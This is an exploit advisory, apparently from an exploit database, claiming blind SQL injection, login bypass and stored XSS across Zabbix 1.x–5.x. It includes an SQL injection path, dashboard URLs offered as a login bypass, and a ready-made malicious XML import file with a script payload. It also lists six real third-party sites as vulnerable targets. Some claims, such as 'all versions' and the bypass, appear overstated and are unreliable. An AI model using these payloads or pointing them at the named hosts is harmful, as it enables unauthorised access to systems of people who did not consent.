Zabbix versions 1.x through 5.x suffer from persistent cross site scripting and remote blind SQL injection vulnerabilities.
58a64992a12c020fdfb082f30b1cdfba# Exploit Title: Zabbix all version / Multiple Vulnerabilities
# Exploit Author: TaurusOmar
# Twitter:@TaurusOmar
# HomePage:taurusomar.com
# Date: Jul 23th, 2021
# CVSS: 3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L
# Version: Zabbix [1.x, 2.x, 3.x, 4,x 5.x]
# Risk: High (9.0)
# Vendor Homepage: https://www.zabbix.com/
# Tested on: Arch Linux
# Greetz: PwnEc
# Software Description:
Zabbix is the ultimate enterprise-level software designed for real-time monitoring of millions of metrics collected from tens of thousands of servers, virtual machines and network devices.
With encryption support it is possible to secure communications between separate Zabbix components (such as Zabbix server, proxies, agents and command-line utilities) using Transport Layer
Security (TLS) protocol v.1.2. Certificate-based and pre-shared key-based encryption is supported. Encryption is optional and configurable for individual components.
# 1.) Vulnerability Description => Blind Sqli (affect all versions):
An error in the application allows executing sql statements blindly
Path: https://domain/zabbix/hostinventoriesoverview.php?sid=[RANDOM_TOKEN]+Blind_Sqli&form_refresh=1&groupid=0&groupby=alias
# 2.) Vulnerability Description => Bypass login (affect all versions):
An error in the security of the form allows the login page to be skipped directly to the administration panel, which allows an attacker to access the entire application,
managing to make queries, edit parameters, among others.
Path: http://domain/zabbix/index.php
Vulnerable Form:
<form method="post" action="index.php" accept-charset="utf-8" aria-label="Sign in">
<ul>
<li><label for="name">Username</label><input type="text" id="name" name="name" value="" maxlength="255" autofocus="autofocus"></li>
<li><label for="password">Password</label><input type="password" id="password" name="password" value="" maxlength="255"></li>
<li><input type="checkbox" id="autologin" name="autologin" value="1" class="checkbox-radio" checked="checked"><label for="autologin"><span></span>Remember me for 30 days</label></li>
<li><button type="submit" id="enter" name="enter" value="Sign in">Sign in</button></li>
<li class="sign-in-txt">or <a href="index.php?enter=guest">sign in as guest</a></li>
</ul>
</form>
Pocs Bypass login - access dashborad:
http://domain/zabbix/zabbix.php?action=dashboard.list
http://doamin/zabbix/zabbix.php?action=problem.view&ddreset=1
http://doamin/zabbix/overview.php?ddreset=1
http://doamin/zabbix/hostinventoriesoverview.php?ddreset=1
http://doamin/zabbix/screenconf.php
# 3.) Vulnerability Description => Stored Cross Site Scripting (affect all versions):
The application allows uploading an xml file which can be modified by the <name> parameter with a load util XSS
Path: https://domain//zabbix/screen.import.php?rules_preset=screen
Malicious File .xml
<?xml version="1.0" encoding="UTF-8"?>
<zabbix_export>
<version>3.4</version>
<date>2021-07-23T20:55:48Z</date>
<screens>
<screen>
<name>a‛%3E%3Cscript%3Ealert(‚123‛)%3C/script%3E</name>
<hsize>1</hsize>
<vsize>2</vsize>
<screen_items>
<screen_item>
<resourcetype>7</resourcetype>
<width>500</width>
<height>100</height>
<x>0</x>
<y>0</y>
<colspan>1</colspan>
<rowspan>1</rowspan>
<elements>0</elements>
<valign>0</valign>
<halign>0</halign>
<style>0</style>
<url/>
<dynamic>0</dynamic>
<sort_triggers>0</sort_triggers>
<resource>0</resource>
<max_columns>3</max_columns>
<application/>
</screen_item>
</screen_items>
</screen>
</screens>
</zabbix_export>
# 4.) Samples web Vulnerabilities whit diferent version:
https://monitoreouio.cntcloud.com/zabbix/[bypasslogin][blind_sqli][Stored_Xss]
https://monitoreogye.cntcloud.com/zabbix/[bypasslogin][blind_sqli][Stored_Xss]
https://zabbix.iwinds.com.ar/zabbix/[bypasslogin][blind_sqli][Stored_Xss]
https://www.cse.iitb.ac.in/soumen-pc/zabbix/[bypasslogin][blind_sqli][Stored_Xss]
http://monitor.esprida.com/zabbix/[bypasslogin][blind_sqli][Stored_Xss]
http://demo-zabbix.racom.eu/zabbix/[bypasslogin][blind_sqli][Stored_Xss]
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